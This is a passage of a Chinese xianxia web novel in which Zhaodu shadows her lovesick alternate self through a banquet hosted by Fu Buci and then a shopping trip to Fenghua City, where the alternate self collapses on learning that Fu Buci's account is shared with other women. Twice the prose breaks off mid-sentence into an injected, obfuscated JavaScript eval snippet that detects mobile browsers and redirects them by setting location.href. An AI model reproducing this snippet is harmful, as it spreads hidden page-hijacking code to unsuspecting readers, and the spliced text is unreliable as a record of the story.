等朝渡一现身,她就扑到朝渡肩头,抓紧朝渡的衣袖哽咽痛哭道:“我知道她刚才是在帮我,可我还是忍不住恨她讨厌她……你看到她对不辞的那个笑了吗,她平时就是那样勾引他的!可不辞偏偏吃那一套……你说,我要是也学她那样笑,不辞会不会也能多看我几眼?” 朝渡摸了摸她的脑袋,怜悯轻叹:“可能会多看几眼,但那不是你想要的爱。而且傅不辞压根不爱她,只是把她当个消遣罢了,否则怎么会把她精心打理多年的花园说毁就毁了?” “这样吗……”另一个朝渡抱紧了朝渡,哭声小了些,“原来他也不爱她们?那我跟他,是不是还有希望?” 朝渡:“……”累了。 “对了,他想让你去仙盟当长老,还有六仙侍,你去嘛?”另一个朝渡眼巴巴地望着朝渡,“你就去吧!你去帮帮他!中间跟他说些我的好话,或者说出咱们俩的关系,说不定他就会重新重视我了!” 朝渡默默把她从身上扒拉下来,她有种感觉,另一个自己只要一靠近傅不辞,脑子就跟消失了一样。 从爱他变成无脑爱他。 朝渡忍不住两手扶着另一个朝渡的脑袋晃了晃。 另一个朝渡:“唔唔唔?你在干什么?” 朝渡:“听听里面有没有水声。” “应该没有吧?”另一个朝渡小心翼翼地看她,“你不想去?那可是仙盟长老和六仙侍,多少人做梦都想做呢!” 朝渡讥讽地牵了牵嘴角:“我飞升前就是盟主,飞升后是仙,我去当他的属下?他当我的属下我都嫌弃。你若真想让他重视你,你就变得跟我一样,他肯定重视你,也让你当六仙侍,到时候你要是还想当他属下我不拦着。” 另一个朝渡心虚地看向一边:“我练成你那样还得多少年啊……我先准备今晚的宴会吧!” 另一个朝渡把回心回意还有其他侍女叫了进来,帮她梳妆更衣,朝渡找了个干净角落打坐修炼,天道减轻了对她的压制,她现在连恢复灵力的速度都更快了些。 一个时辰后,另一个朝渡终于梳妆更衣完毕。 朝渡抬眼看了一下,另一个自己穿了一身繁复礼服,朱红裙摆层层叠叠,珠宝玉石首饰熠熠生辉,妆容庄重又不失明艳。 侍女们都在,另一个朝渡用眼神询问朝渡:可以吗? 朝渡点了点头,虽然在她看来这身有点不太方便,比如那头珠翠簪子注定了穿戴者只能小幅活动,连点头摇头都要慎重,那层层叠叠的裙摆让主人只能小步慢走,若是遇到危险……但今夜到底是赴宴,而且有她在,麻烦就麻烦吧,只要她顶着那么多珠翠不累就好,其它倒也无妨。 另一个朝渡带上侍女出发,朝渡隐身走在屋脊上,远远的就能看到灯火通明,碧光莹莹的仙缘殿。 不知要耗费多少翡翠与灵石才能修建出这么一座奢靡的宫殿。 几人走近了仙缘殿,另一个朝渡从仙缘殿后门进入,里面是与前厅隔开的房间,供宫殿的主人暂且休息使用。 一进房间,就能看到傅不辞懒洋洋地倚靠在榻上,手里翻着一本泛黄的古籍,见她过来,他抬起头,眼中露出惊艳之色:“你今晚的装扮不错。” 另一个朝渡含羞带怯地低头微笑:“谢夫君夸赞。” “不过……”傅不辞放下书,向她走了过来,脸色阴沉,“还是有些差池。” 另一个朝渡顿时慌张无措:“这,不知是哪里错了?还有些时间,我马上改改!” “那倒不必。”傅不辞走到她身前,停下,抬起手,将她鬓间一小缕碎发拂至耳后,又调整了一支玉簪的位置,随后扬起嘴角,微笑道,“好了。” 另一个朝渡愣住,望着他含笑的眼睛,脸颊逐渐红了个透。 傅不辞指尖摩挲着她的脸颊,像在摩挲一颗珍珠,他故意笑问:“脸怎么这么红,可是有哪里不适?” “不,不是……”另一个朝渡羞怯地垂下眼睛,小幅摇头,一副楚楚可怜的模样。 傅不辞托起她的下巴,拇指摩挲她的唇,打趣问:“怎么不敢抬头看我?” 另一个朝渡缓缓地,羞涩地抬起眼睛望他,两人目光交接,眼眸中倒映着彼此的身影,一时情浓如墨,气氛火热,两人呼吸都重了些。 旁边的朝渡:“……?”她有点茫然,怎么忽然发展成这样了? “千钧,我感觉我们不适合在这里。”朝渡果断穿墙走到前厅,千钧剑也深表认同。 满座宾客都已就座,只等宫殿的主人开宴了。 左边坐的是几位妖族使者,各个都是俊美出众,仪表不凡,单看外表,与对面的修仙者没有什么区别。 朝渡还认识其中的几个:比如第一个是凤族皇子凤舒,第二个是九尾狐族的大小姐九慕月,第三个她不认识,但应该也是某个大妖族的妖,总体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16640412|187168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阵容还挺华丽,难怪傅不辞这么重视。 右边坐的是仙盟中人与受邀的几位门派掌门,其中为首的是游藏,她正襟危坐,与对面使者谈笑风生,言辞谨慎又不失风趣。 朝渡打量着这个游藏,心道这位好像跟自己熟悉的那位差别不大。 这时,钟鼓声响起,殿内安静下来,青云仙宫的主人挽着他的夫人步上主座。 另一个朝渡脸上红晕还未完全散去,但她微微低头,看起来并不明显。 傅不辞嘴角微扬,看起来心情不错的样子,若是细看,还能看到他的唇上也沾了点口脂。 “欢迎各位使者远道而来。”傅不辞优雅大度地向左边举起酒杯,颇有几分盟主的气势。 为首的凤舒也举起酒杯,敬道:“感谢盟主的盛情相待。我们此次前来,主要是为了恭贺盟主修为突破,成为剑仙,不过……今日我们又听到了些不一样的传言。” 傅不辞颔首:“不错,引来天雷成为剑仙的实际并非我,而是仙隐宗的宗主夕溯,此人可堪大用,但一向踪迹神秘,观星宗掌门算出有魔修荧惑要危害天下,大敌当前,为了尽快找到此人,我不得不出此下策。” “盟主可真是惜才啊,我先敬盟主一杯。”凤舒笑了笑,举起酒杯一饮而尽,又问,“不过此人到现在找到了吗?” 傅不辞从容道:“不急,这才不过半日。不过根据观星宗掌门的观测,魔修荧惑影响的可不只是修仙界,妖族怕是也会受到牵连。” “哦?可我妖族的占星师并未观察到这一点。”凤舒的眼神中带了些许锋芒,“我们也从未听过魔修荧惑的名号。” 傅不辞慢条斯理地饮了口酒,才悠悠道:“那是因为荧惑此人擅长蒙蔽天机,我们也是结合多方线索才推测得知此人的存在。” 朝渡不知道对面妖族使者有没有听懂,但她听明白了:她若乖乖配合傅不辞,那她就是受人尊敬,让盟主不惜自损清誉也要请来的“大才”,仙隐宗掌门夕溯,若她不配合,还要继续“捣乱”,那她就是大名鼎鼎的魔头荧惑了。 傅不辞给了她两个选择,不管她怎么选,傅不辞都是稳赚不赔的。 但她凭什么要选傅不辞给的选择。 又听凤舒道:“原来如此,若盟主有什么关系魔头荧惑的新消息,还请及时告知我们,我们两方联手,想来那魔头荧惑成不了事。” 傅不辞再次向他举起酒杯,赞道:“我也正有此意。诸位难得来修仙界一趟,这几日可住在青云仙宫,或是游览各城,与各门派切磋交流。” “盟主慷慨!我再敬您一杯。”凤舒再次将杯中酒一饮而尽,目光仍十分清明,看得出酒量不错。 傅不辞看了眼另一个朝渡,另一个朝渡会意,拍了三下手,修仙界最顶级的乐修与舞修从门口依次而入,快速排布阵型,悠扬的乐音与婀娜的舞姿让人如痴如醉,仿佛置身仙界。 但朝渡发现,左侧第三个使者,没有看那貌若天仙婀娜动人的舞修,反而在频频偷偷看向主座上的另一个朝渡? 26. 风华城 这可真是有趣,莫非是另一个朝渡的熟人? ‘得盯紧点。’朝渡暗暗心道,她看他眼神,就感觉他没安什么好心,而且目标很可能是另一个朝渡。 舞修的如云水袖间,仙盟与妖族两方觥筹交错,言笑宴宴,仿佛一片和睦。 谈笑中,那个可疑的妖自称是蛇族的小公子曲千。 朝渡看了一会,看得无聊,干脆在这里也打坐修炼起来。 等宴会结束,细细的月亮已高悬于夜幕中间,像一枚鱼饵,不知在垂钓世间的哪条鱼。 众人纷纷从仙缘殿中散去,另一个朝渡与傅不辞一起离开。 朝渡在走廊上方跟了片刻,却不见两人有分开的意思,她心中疑惑,跃下走廊,但见另一个朝渡把手背在后面,对她轻轻挥手,仿佛告别。 朝渡:“?”这什么意思,今晚还回琴瑟宫吗?哦。应该是回的,不过不只是她俩回,看起来傅不辞也要回,今晚的琴瑟宫应该会很热闹。 朝渡重新飞回走廊上方,但一时懒得走了,干脆席地而坐,忍不住对月叹气。 另一个朝渡也许会在今晚对傅不辞吐露她的存在。 虽然就算她说了,傅不辞也抓不到她奈何不了她,但想到这一点,朝渡心情还是有点差,毕竟这等于被自己背刺了。 也许她应该做些什么,防止被背刺,比如封锁另一个朝渡的记忆,让她暂时遗忘她。 但朝渡有些累了,她望着细如鱼钩的月亮,忽然觉得这次就让鱼自己做选择吧。 若鱼铁了心非要咬钩,她又何必强求何必在意,让鱼痛苦,让她也疲倦。 朝渡闭上眼,静心打坐修炼,直到第一缕晨曦轻轻落到她身上,她呼出一口气,去看鱼儿的选择。 琴瑟宫,鱼儿还没醒,傅不辞也没走。 朝渡来到平时另一个朝渡练剑的偏殿,坐下再次思索起傅不辞昨夜为何对另一个朝渡突然有了那么大兴趣,难道就是因为昨夜她打扮得好看? 如此简单? 朝渡不太确定,干脆继续修炼,直到日上三竿,另一个朝渡自己溜进了偏殿来找她。 另一个朝渡脸上是掩饰不住的幸福笑容。 朝渡看了看周围,没有别人跟来,只有她一人过来了。 朝渡心里有了数,但还是问:“昨晚你没跟他说起我?” 另一个朝渡点了点头:“我感觉你并不想让我说出来。” 与此同时,朝渡还听到她心里道:“而且万一他看见你了,喜欢你了怎么办?哪怕你对他确实没兴趣,甚至还有点嫌弃,但最好还是不让你们俩见面。” 朝渡:“……”无语笑了。 朝渡笑了起来,另一个朝渡也跟着笑了,眼睛亮晶晶的,等待她的夸奖:“我做得对吧?” 朝渡忍不住叹气,又问:“说起来,他昨夜怎么忽然改变那么大?” 另一个朝渡露出羞涩又幸福的微笑:“他说这些时日忙,很久没有仔细看我了,昨夜忽然发现我还是那么美……” 朝渡无语麻了,还真是因为贪图她美貌啊?平日对她爱搭不理,又是嫌弃又是不耐烦的,但昨天她收拾收拾,他就亲上去了。 另一个朝渡看起来已经沉沦了,可这份因为美貌得来的宠爱又能持续多久呢? “我以后还真得多打扮打扮。”另一个朝渡满怀欣喜地总结道,“订点新衣裙,学学新妆容。当然,不会放弃练剑的!” 朝渡轻叹,懒得再说什么,姑且随另一个自己去试吧,有些墙不自己碰一碰,靠劝靠拉是没用的。 而且朝渡有预感,傅不辞会再次让另一个自己失望的,甚至不用太长时间。 因为他喜新厌旧的本性如此,这次两人旧情复燃也是如此:他太久没有仔细看她了,昨夜乍见如此美丽的她,又有了新鲜感,等这份新鲜感消失……怕是加倍的冰冷不耐烦。 “今天你想陪我去风华城采买些衣服吗?我感觉你的眼光会很好。”另一个朝渡期待地问,又羞涩解释,“不辞说他今晚还过来,我想换件新衣裙见他。” 朝渡本来是没兴趣的,但想起昨夜那个可疑的妖,她感觉还是一起去比较稳妥些。 “不过买衣服不去锦绣城吗?”朝渡问,“全修仙界里,咱们仙衣阁的衣服可是最好的。” “哪里还有锦绣城?哪里还有仙衣阁?!”另一个朝渡震惊,“你那边还有锦绣城?!仙衣阁还在?!” 朝渡惊讶中点了点头:“锦绣城被魔修袭击之后,各门派幸存的弟子聚在一起,重建了锦绣城,当然也有仙衣阁。” 另一个朝渡方才还欣喜兴奋的神色瞬间低落下来:“……我这边没有……那一夜之后,什么都没有了……为什么?是因为我太弱了没能护住他们吗?” “往前看。”朝渡拍了拍她的肩,转移话题,“就我们两个人去吗?” 另一个朝渡回过神,缓缓点头:“嗯,有别人在不方便我们俩聊天。”此外,她还想留人保护傅忆昔,而且有朝渡在,这就是十足令人安心的了,出任何意外都不怕。 两人直接出发,乘坐金玉比翼鸟飞向风华城。 过了半个多时辰,繁华巨大,依山抱水的风华城出现在了视野中。 金玉比翼鸟降落在城门口不远处,被另一个朝渡收起,两人走进城门,入目是高楼上飞舞的轻纱,入耳是袅袅不绝的乐声,入鼻是沁人心脾的花香。 朝渡还注意到,在城门城墙上都设了重重法阵,还有身着轻甲的剑修列成队在巡逻,看来是吸取了锦绣城的教训,时刻严防魔修的突然袭击。 身旁,另一个朝渡感叹道:“不愧是乐修舞修聚集的风华城,真是风雅美丽……快看这几个人!好美啊!” 另一个朝渡指着前方路上几个结伴的人,他们有男有女,皆是玉面花容,蓝色纱袖随风飘扬,腰间绸带勾勒出一截春柳般的细腰。 朝渡打量了一眼:“看他们的衣服,好像是缈香轩的人。” “如果不辞看到了……”另一个朝渡忽然紧张起来,不安问,“他会不会也对她们有兴趣?” 朝渡轻叹:“你何必明知故问。” 另一个朝渡低下头,攥紧手,深深沉默了,最后苦涩道:“也许不辞不喜欢她们那种类型……” 朝渡摇了摇头,懒得回答这种她心里明明自己有数的问题。 “……走!我们先去买衣服!对了,你要添几件吗?”另一个朝渡笑得很勉强,看得出是在强撑。 朝渡淡淡道:“我不用,我随身的灵空间里有换的。” “那、那你帮我挑!”另一个朝渡装出步伐轻快的样子往前走,“风华城的主街是五音街,主营有各种乐器,还有以舞衣为特色的各类衣裳,你说,我要是选一件舞衣,他会不会眼前一亮?” 朝渡却站在原地没动,等另一个朝渡回头看她时,她实在没忍住问:“你明明什么都知道,你明明清楚他是个什么人,你明知道那不是爱而是一时新鲜!你为什么要一直装糊涂骗自己!” 另一个朝渡先是愣住,继而苦涩地弯了弯嘴角,但这份微笑终究撑不了太久,她低下头,连声音都有气无力:“因为我曾经,还有昨夜,真的很幸福。” 朝渡:“……”她还想说话,却见另一个朝渡用祈求的眼神望着她,声音颤抖道:“不要再说了,求求你了!” 再说下去,她就骗不了自己了,再说下去,她就要清醒面对自己那过成笑话的几十年了,再说下去,她就要彻底崩溃了。 旁边已经有路人向另一个朝渡投来了打量的目光。 朝渡闭上了眼,长长吸了口气,又缓缓呼出来,她能感觉到,另一个自己的精神已经快到极限了。 无法否认,傅不辞是她这些年的精神支柱,虽然已经腐朽了,也还是她唯一的支柱。强行拆掉支柱,屋子只会轰然倒塌。 除非,在拆之前另建一个甚至多个支柱。 幸好,另一个自己还没有抗拒这一点。先帮她把新的支柱建立起来吧。 朝渡睁开眼,她情绪平稳了很多,甚至对另一个自己露出微笑:“走,先去看衣裳吧。” “……嗯!”另一个朝渡眼中露出感激的神色,顺着她的话继续道,“往这边走!这里有风华城最大的衣裳店,是由凤羽楼经营的!” 朝渡:“凤羽楼啊……”当年可是仙衣阁的头号竞争对手,不过怕另一个朝渡忆起往事难过,她没有说出来。 两人走在人来人往,繁华热闹的五音街上,这条街上的大部分店铺都是由各个修仙门派开设的,各种修仙商品琳琅满目,还有不少看着就让人垂涎欲滴的灵食灵饮。 片刻后,两个朝渡一人端着一杯灵荔汁,来到凤羽楼,一进门是一间宽阔华丽的大厅,中间是一座巨大的鼓,鼓面上绣有凤羽与牡丹的纹饰,几名花容月貌的玉傀儡正在上面翩翩起舞,每一个旋转的舞步之后,转瞬间它们身上的衣裙就会发生变化——凤羽楼竟想出这种手段来展示自己的新品。 周围有不少顾客都在驻足围观,还有几名凤羽楼弟子负责解说和记录,顾客有看到心仪的衣裙便找凤羽楼弟子记录下来,一会去取。 另一个朝渡看得两眼放光:“这件粉蓝色长裙不错,袖子像蝶翼,哇,这套金红色的舞裙也很别致,裙摆像凤羽交织,又变了!这件绿纱裙也好美啊,转起来居然还会飘落花瓣……你觉得哪个更好?” 朝渡:“唔,确实都还行。”不愧是仙衣阁的头号竞争对手,居然不比仙衣阁的水平差多少。 “那就都买了!”另一个朝渡找凤羽楼弟子记录自己看上的几件。 由于她要的比较多,一个名叫清潭的凤羽楼弟子直接跟着她,陪着她看完了一轮傀儡舞蹈,中间细细讲解每件衣裙的优点和特色。 “您看这件凤羽裙,是我们店今年的招牌款式!”清潭殷勤介绍道,“它不但颜色搭配漂亮,还有超大裙摆,手感更是冰凉丝滑,特别适合夏天穿!闻起来还有清雅的荷花香气,包您越穿越喜欢!另外它还防油防尘防晒伤,防水防火防刀剑,实在是仙子修仙必备!” 另一个朝渡:“买!” 清潭又介绍:“您再看这件……” 另一个朝渡:“买!” 清潭再介绍:“贵客,您再看……” 另一个朝渡:“买!” 这名凤羽楼弟子兴高采烈地记了三页。 随后,清潭带另一个朝渡来到凤羽楼的贵宾试衣屋,这屋里桌凳床榻更衣镜化妆镜一应俱全,桌上还有茶水和果盘,方便贵客们试衣时聊天和休息。 片刻后,清潭与几个凤羽楼弟子把另一个朝渡要的衣服都搬了过来,环顾空荡荡的屋内,诧异问:“贵客没带侍女吗?” 另一个朝渡:“……不习惯带,你们也出去吧。” 几个凤羽楼弟子面面相觑,在另一个朝渡再次催促后才离开。 “还是就我们两个人时自在。”另一个朝渡感叹。 朝渡赞同地点头。 另一个朝渡开始试衣,如轻快的燕子往来于屏风后与更衣镜前。朝渡坐到榻上,喝着自己的灵荔汁,跟另一个自己闲聊着,一起观赏品鉴着凤羽楼的衣裳,讨论衣裳的上身效果,时间过得愉快且飞快。 等另一个朝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16648935|187168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 渡挨个试完衣裙,心满意足让人结账时,朝渡看着那叠成小山的衣裙,忍不住问:“你带的灵石够吗?不够的话,我这里有。” “我带的是不够,这些年我手里也没什么灵石。”另一个朝渡小声说着,瞄了眼正在算账的凤羽楼弟子,但她没有半点担忧的样子,还高兴地解释,“但是不用你来付啦,我以前跟不辞来过这里,他在这里开了账户,提前付了许多灵石,好让我以后过来都不用自己付账,直接记他账下就好。” 另一个朝渡向清潭报出傅不辞名字,却见清潭将她上下打量了几番,面露异色:“您也要记在盟主的账下?” 另一个朝渡愣了愣,缓缓问:“什么叫也?” 清潭有点怜悯地看着她:“您应该和盟主刚认识不久,盟主他其实……唉,总之这个账,不止您一个人能用。” 另一个朝渡:“……还有多少人在用?” 方才她脸上的欣喜雀跃一下子消失了,脸色一下变得惨白。 “抱歉,这个不能透露给您。”清潭看她的眼神越来越怜悯,甚至忍不住叹息起来。 另一个朝渡深深沉默着,逐渐攥紧了手。 “您既然要记在盟主账下,能给我看一下盟主给您的信物吗?”那弟子放轻了声音问。 “信物?那可太多了,你们这要什么样的信物?”另一个朝渡又有了点精神。 清潭描述道:“是一枚翡翠令牌。” 另一个朝渡取出了特制的行云令,却见清潭摇了摇头,尴尬道:“不是这个……” 另一个朝渡:“…………” 她忽然低头,以手盖住嘴,无声干呕,随即手指缝隙中竟有血溢出来。 清潭呆了呆,连忙喊人:“来人!快叫医师过来!” 朝渡急道:“你体内灵力全乱了!快坐下凝神定思!我给你疏导灵力!” 另一个朝渡却摇了摇头,艰难缓慢地抬起头,擦了擦嘴角血迹,眼中满是泪光,声音沙哑道:“我虽然没有信物,但我是盟主夫人,能用他的账了吗?!” “能!当然能!”清潭先安抚她的情绪,但又小声补充道,“不过一会您得证明一下您是盟主夫人……现在先不用证明!您先休息!医师马上到!” 另一个朝渡闭上眼,泪水滑落她的脸颊,嘴角又溢出血来,这次她连伸手掩盖的力气也没有了,连站都站不稳了。 朝渡在自己脸上凝了个面具,随即现身扶住了她,对那看呆了的凤羽楼弟子道:“我是盟主夫人的护卫,你先出去,不必让医师过来!” “啊,好!”清潭连忙离开,还贴心地关了门。 朝渡将她扶到榻上坐稳,站在她身后帮她疏导体内灵力:“别乱想了,凝神!让体内的灵力跟着我的灵力走!要不然你有经脉破碎的危险!” 急火攻心竟能导致灵气四溢经脉破裂……她实在是太在意傅不辞了。 另一个朝渡闭着眼,手放在膝上握紧成拳,眼泪仍是止不住地往下滑:“为什么那些贱人都可以随意用他的账,我明明是他唯一的夫人,却还要证明来证明去的?!他甚至把信物给了她们却没有给我!呕——” 另一个朝渡又蓦地呕出一大口血! “别再想了!”朝渡急迫道,“你是想废了自己的经脉,以后彻底身无灵力吗?!” 另一个朝渡不住地摇头,泪流满面:“我不想想的,我控制不住……” 朝渡一声叹息,直接施了昏睡令,让她昏昏睡去。 随后朝渡一边扶着她,一边再次尝试引导她体内的灵力,虽然没有灵力主人的意识从旁协助,但因为这些灵力不再继续四散乱窜,反倒比刚才更容易引导些。 她凝神细细引导着,顺带修复了一些经脉上的小裂缝,正快要引导完第一遍时,忽然听到了敲门声。 “你好,请问那位客人怎么样了?”还是那名凤羽楼弟子。 朝渡蹙眉,放缓了引导灵力的速度,分出神回答:“别过来。” “可是,我们楼主来了……”门外那弟子又道。 朝渡冷声道:“不管谁过来,都在外面等着,别来打扰!不然后果你们承担不起!” 门外终于消停了,朝渡重新全神贯注,将另一个朝渡的灵力完全引导一遍,基本理顺疏通。 她解除了昏睡令,另一个朝渡渐渐清醒过来。 朝渡手中凝了一个白玉小瓶子,从中倒出一颗流光溢彩的丹药,随后把这颗丹药递到另一个朝渡的嘴边,急道:“快把它吃了。” “这是什么?”另一个朝渡气若游丝,声音沙哑得不成样子。 朝渡快速解释:“这是万珍补天丹,能修补经脉,你经脉上还有一些较大的裂痕,得靠它补,你快点把它吃了!” “居然是万珍补天丹……我记得这药不止能修补经脉,它几乎有起死回生的效果,太珍贵了……”另一个朝渡望着它,喃喃道。 朝渡更急了:“你别管这些了,先吃了!” 另一个朝渡却强撑起一个微笑,缓缓摇头:“我不吃。” 朝渡:“你——?!” “你别生气,不只是因为它珍贵。”另一个朝渡艰难地抬起手,轻轻拉住朝渡袖子的一角,她用力到骨节发白,却只是勉强不让自己的手滑落下来。 “那是为什么?!”朝渡又急又不解。 另一个朝渡望着面前紧闭的窗户,嘴角带着一点笑意,眼神却空洞茫然,弥漫着一股沉沉死气:“都说不辞早就想换掉盟主夫人,早就盼着我……消失,我想知道,是不是真的。我记得青云仙宫也有能修补经脉的药,我想知道,他会不会给我。” 27. 凤羽楼楼主 朝渡:“…………” 她已经有点不知道该说什么了,震惊,愤怒,无力,心酸,心疼,怜惜…… 百般情绪在心头酝酿,最后酿成一声长长叹息:“你这是在拿命去试他,真的值得吗?” 另一个朝渡艰难地笑了笑:“其实也没有拿命去试,只是经脉有裂痕,几天内死不了的,而且这不是还有你在嘛。” 朝渡无奈地捏了捏眉心,又想起门外还有人等着,淡淡道:“门外的进来吧。” 雕着牡丹花与凤羽纹样的红漆木门被轻轻推开。 一个温雅端庄的女子率先走了进来,后面跟着几个凤羽楼弟子,还有一个医师。 朝渡瞥了一眼,为首的那个是凤羽楼的楼主,印象里好像叫丝如弦。 丝如弦也在打量两个朝渡,最后视线落到了另一个朝渡身上:“这位的确是盟主夫人,多年前我曾经见过她一面,她现在情况如何?” 朝渡淡淡道:“不是很好,经脉出现裂痕,需要尽快修补。” 清潭瞬间跌坐在地,急得哭了出来:“抱歉,我真不是故意的!我从来没有见过盟主夫人,我不知道她是盟主夫人……” 朝渡看了她一眼,点头:“我知道,这事主要责任不在你,楼主也不必苛责她。” 清潭露出极其感激的目光。 凤羽楼楼主丝如弦又将探究的目光落到朝渡身上:“听闻您是盟主夫人的护卫?” 朝渡颔首。 丝如弦的目光落到了朝渡衣服上,她细细打量了数遍,目光中露出惊艳之色:“可您身上这衣服实在不是凡品,做工裁剪之优秀,用料之珍贵罕见,我担任凤羽楼楼主多年,还是第一次见。连盟主夫人的衣服都比不了您身上这一件,便是盟主,都未必有您这样的衣服。您说您是,护卫?” 朝渡:“……”刚才情况紧急,光顾着遮脸,忘换身衣服了。 这是她的好友谢路遥亲手给她制作的,是仙衣阁出品的最顶级的衣裳。 凤羽楼楼主承认自己不曾见过这样的衣裳,说明仙衣阁赢过了凤羽楼。 但这不是目前的重点。 凤羽楼楼主眼中有精光闪烁,她轻笑:“哪里的护卫能穿得这样水平的衣服?我也想去当了。” 朝渡淡淡道:“比起关心这个,楼主更应该关心一下盟主夫人的情况。” “都关心。”丝如弦看向身后的医师,“乐舟,你去看看盟主夫人的情况。” “是!”乐舟小跑到另一个朝渡身侧,一番号脉与观察,随后惊讶地看向朝渡:“敢问您师从何人?” 朝渡疑惑:“跟我师从谁有什么关系?” 乐舟两眼发光地看着朝渡,兴奋问:“想必您是哪位神医的传人吧?根据情况推测,夫人她灵力失控,冲撞经脉,如此可怕的情况,您却只用了如此短的时间就控制住了!不但把灵力疏导理顺了,还把经脉上的小裂缝都补上了!这只有神医才能做到啊!” 朝渡:“……只是修炼多了,熟悉经脉罢了。” 丝如弦在旁边轻笑:“盟主夫人是哪里找来的您这样的护卫?我也想去聘一个。” 朝渡淡淡道:“你聘不起的。嗯?” 另一个朝渡忽然抓住了她的袖子,嗓音沙哑地道:“我们先回去,他说他今晚要来……再不回去时间就来不及了……” 朝渡:“…………你刚才差点经脉破碎,命都快没了!!你还在惦记这个???” 受不了了,她的灵力也快要失控了。 “抱歉,求求你!”另一个朝渡抓着朝渡的袖子,声音虚弱地哀求道,“求求你,他昨晚才重新喜欢上我,他好久没有那样仔细地看我了……今晚我绝不能错过……” 朝渡:“………………” 她深深吸了口气,稳住自己的灵力,有种快要窒息的无力感,很久很久没有过这种感觉了。 另一个朝渡转动眼珠看向那堆她精挑细选的衣服——她现在连转头都费劲,但强撑着开口:“那些衣服,帮我包起来,我今晚要用。” 连丝如弦都震惊了:“您,您都这样了……” “快!咳咳咳,要来不及了!”另一个朝渡气若游丝,但固执道,“我要快些回去!这次错过,就不知道还要再等多少年了……” 朝渡闭上眼,有气无力道:“帮她打包。” 丝如弦从震惊中回神,赶紧吩咐周围同样呆住的凤羽楼弟子:“都动作快些!把衣服都包好!” 随后她又同另一个朝渡道:“今日夫人选的这些,共记三十二万灵石都不必付了,也不必记账了,能修补经脉的大夫和药我们也帮您打听着,有消息了马上告诉您,治疗的费用都由凤羽楼承担,您看这样如何?”后半句她说着说着却是看向了朝渡,她没在征求盟主夫人的意见,而是想征求这个“护卫”的意见。 朝渡没有发现丝如弦在问自己,也没有回答丝如弦,她在看另一个朝渡,看另一个朝渡连眼睛都睁不开了,头有气无力地耷拉了下去,口中还在呢喃:“要快点回去,不能让他久等……” 朝渡心绪万分复杂,还有几分茫然。 “楼主,都打包好了。”凤羽楼的弟子向丝如弦汇报道,丝如弦又向朝渡请示:“都打包好了,我派人送二位回青云仙宫?大夫和药的事……” “不用你们操心。”朝渡摇了摇头,又道,“不必向任何人提起我。” 丝如弦眼神闪烁,口中恭敬道:“是,请您放心。” 片刻后,另一个朝渡被抬上了凤羽楼“飞羽舟”的一个房间,朝渡也上了舟,进了这个房间,并让屋内属于凤羽楼的其他人都出来。 等屋内只剩两个朝渡时,朝渡随即变幻了容貌和衣服,变成了一个相貌平平的侍女模样。但很快她又变回原样,彻底隐匿了身形。 她心道还是直接隐身吧,只要凤羽楼那边不主动提起她这个“护卫”,青云仙宫这边就不会发现她的存在,变成侍女反倒容易被调查审问,到时候还是麻烦。 方才实在太心急了,没顾得上那么多,也没想到凤羽楼楼主会亲自过来,这失误也许会带来一些小麻烦,但在朝渡看来,都不如眼前的麻烦大。 另一个朝渡躺在屋内床上,半睁着眼,此刻她脸色惨白,气若游丝,但还在问朝渡:“你说,他要是看见我这副模样,他会心疼我吗,还是会更讨厌我?” 朝渡听见她的话,先稳定自己灵力,又掐了下自己人中,随后也气若游丝地回应:“你饶了我吧,我感觉你现在想要我的命。” 另一个朝渡苦涩地笑了笑:“我不想要任何人的命,我只想要他重新爱我。” 朝渡:“……救命……”她揉了揉太阳穴,强行冷静下来:“这样,回去的路上,你先不要说话了,好好保存气力,也让我多活一段时日好吗?” “你可是仙,不会死的。”另一个朝渡艰难地露出一个微笑,闭上眼,几乎转瞬就昏迷过去。 朝渡一声长叹,将窗帘掀开一角,望向窗外的沉沉夜色,心情也沉重下来。 另一个自己对傅不辞情深如此,但她爱错了人,爱得越深,伤自己越狠。 这几天她就像一棵树,短暂地迎着春风长出了几片新芽,可还未来得及真正枝繁叶茂,就在今日快速枯萎了。 昨夜傅不辞的一时新鲜,让她重燃希望,可今日希望与失望的落差差点要了她的命,明明前几日已经颇有进展…… 如果傅不辞今夜来了却没有怜惜心疼她,反而嫌弃她…… 朝渡都不敢想,另一个自己会绝望成什么样子。 朝渡下定决心,有必要时,强行把她带离青云仙宫,让她忘记傅不辞,先保住她的命再说其它事情。 半个时辰后,翡翠宫殿已出现在视野中,朝渡愈发厌烦这地方,看见就烦。 又过片刻,飞羽舟降落在宫殿门口,凤羽楼的人找到宫门口守卫说明情况,几个护卫连忙把昏迷的盟主夫人抬出来,还有人去找医师。 一片忙乱中,凤羽楼的几个弟子嘀咕:“屋里的另一个人呢?” “不知道……” “听楼主的意思,这个人好像不简单?” “哎?我们刚才在说什么来着?” “我也记不清了,好像是关于盟主夫人的事?” “哦哦好像是!” 隐身的朝渡路过这几个人,顺带抽取了他们关于她的记忆。 隐患还是少留一点好。 随后,朝渡跟着这群抬着另一个朝渡的宫殿护卫,一起回到了琴瑟宫。 琴瑟宫冷冷清清,傅不辞竟然不在。 只有傅忆昔哭着扑了上来,一声声撕心裂肺地喊着娘。 另一个朝渡迷迷糊糊地醒了过来,艰难地抬起手摸了摸她的小脑袋,安慰道:“娘亲没事,你先去睡觉吧。” “我不!我要陪着娘亲。”傅忆昔倔强道。 